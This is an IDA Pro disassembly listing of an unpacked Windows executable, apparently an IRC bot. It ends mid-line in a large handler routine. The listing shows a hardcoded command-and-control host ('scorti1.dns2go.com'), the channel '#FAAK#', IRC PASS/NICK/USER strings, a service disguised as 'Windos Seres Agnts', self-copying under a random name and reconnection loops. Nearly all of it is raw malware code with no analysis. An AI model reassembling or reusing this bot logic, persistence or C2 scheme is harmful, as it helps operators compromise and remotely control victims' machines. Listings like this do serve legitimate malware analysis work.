; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C99554E9346EBD567901FBD1D96D3372 ; File Name : u:\work\c99554e9346ebd567901fbd1d96d3372_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DE000 ( 909312.) ; Section size in file : 000DE000 ( 909312.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_4188A6+1Ep ; DATA XREF: ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CB988 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B9C0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CB9F8 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CB938 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CB9B0 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427220[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:004169EAp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BEB5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BEA2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BBE2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BAFA add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA91 push edi call sub_41BA3B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43E91C call dword_4CBA6C call sub_40B583 call dword_4CB92C call dword_4CB92C mov ebx, dword_427080 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BF70 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43DB88 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2680ABAh lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2680000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2670347h test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427070 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43DB80 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418BD1 pop ecx mov dword_4CB710, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B0 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CB714, eax call esi push eax call sub_41C2B8 pop ecx call sub_409909 push 2 call dword_4CBA80 push 7530h push offset aSbrsfgf ; "sbrsfgf" push ebx push ebx nop call near ptr 26A0201h push eax call near ptr 26A0192h nop cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CB944 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2680ABAh lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 26A0000h nop push eax call near ptr 2680000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C3B1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429AC8 lea eax, [ebp-5F4h] push esi push eax call sub_41C360 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C2E0 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41B9C0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B9C0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC0 push eax call sub_41C266 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2690DA0h cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax call near ptr 2690CB1h nop loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427098 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C call near ptr 26908B8h nop cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h call near ptr 2680EBDh nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_4187E0 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2690CB1h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BF70 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BF70 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43DB88 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 2690885h push eax push esi push 100000h loc_401495: ; DATA XREF: ___:off_433094o call near ptr 2690328h nop lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB4 push eax call sub_41C266 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 2670347h test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2680EBDh push dword ptr [ebp-20h] mov esi, dword_427070 call esi push dword ptr [ebp-1Ch] call esi call dword_4CB92C push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DBDF8, 2 jle short loc_401562 mov eax, dword_4DBDFC push dword ptr [eax+4] call sub_41C159 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 26A0192h push esi call near ptr 2670000h nop mov eax, dword_4DBDFC cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2680EBDh mov eax, dword_4DBDFC push dword ptr [eax+8] nop call near ptr 269021Ch loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CBAA4, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429A98 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3BA lea eax, [ebp-0A0h] push eax call sub_415D38 push 0B80h push ebx push offset dword_43DB90 call sub_41BF70 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429A74 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3BA add esp, 14h mov esi, eax mov edi, dword_427084 lea eax, [ebp-8] push eax push ebx push ebx push offset byte_419F4D push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_401622 call near ptr 26908B8h nop push eax lea eax, [ebp-0A0h] push offset unk_429A34 push eax call sub_41C266 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_415D38 push 2 call sub_40B602 pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429A08 push eax call sub_41C266 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3BA add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BFD push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43E924[esi], eax jnz short loc_40169A call near ptr 26908B8h nop push eax lea eax, [ebp-0A0h] push offset dword_4299D4 push eax call sub_41C266 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_415D38 pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41C2C2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C mov dword_4CB888, eax call sub_41BFD0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CB79C push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh mov esi, offset dword_4CB7DC push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword_4CB870, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CB718 mov dword_4CB884, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CB884, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2680EBDh nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CB71C call sub_41BFD0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BFD0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CB71C call sub_41BFD0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CB86C, eax call sub_41BFD0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41BFD0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B583 loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CB92C loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+654Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CB9D4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8F0 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40AE84 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43E928 push edi push eax call sub_41BFD0 add esp, 28h push 6 push 1 push 2 call dword_4CBA54 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43E91C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CBA6C call sub_40A919 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2680EBDh jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD0 call sub_415DAC push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CBA6C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B6D6 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C500 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CB880, bl jz short loc_40199A push offset byte_4CB880 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409823 add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CBA6C push 1388h call near ptr 2680EBDh nop loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_4184CC pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2680EBDh jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword 